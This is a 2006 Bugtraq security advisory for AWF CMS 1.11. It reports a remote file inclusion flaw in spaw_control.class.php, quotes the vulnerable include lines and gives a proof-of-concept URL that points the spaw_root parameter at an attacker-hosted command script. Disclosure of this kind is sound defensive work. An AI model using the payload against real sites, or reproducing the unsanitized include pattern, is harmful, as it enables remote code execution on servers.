

sorry i wrong something, this is original AWF CMS 1.11 adv

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-06/msg00290.html>

- *From:* Federico Fazzi <federico@xxxxxxxxxxxxxx>
 - *Date:* Sun, 11 Jun 2006 22:38:51 +0200
-

this is ok:

Advisory id: FSA:011

Author: Federico Fazzi
Date: 11/06/2006, 22:30
Synthesis: AWF CMS 1.11, Remote command execution
Type: high
Product: <http://www.awf-cms.org/>
Patch: unavailable

1) Description:

Error occured in spaw_control.class.php,

```
include $spaw_root.'config/spaw_control.config.php';  
include $spaw_root.'class/toolbars.class.php';  
include $spaw_root.'class/lang.class.php';
```

variable \$spaw_root not sanitized.

2) Proof of concept:

[http://example/\[ac_path\]/spaw/spaw_control.class.php?spaw_root=\[cmd url\]/](http://example/[ac_path]/spaw/spaw_control.class.php?spaw_root=[cmd url]/)
(note: add a cmd url with final slash (/))

3) Solution:

```
declare $spaw_root.
```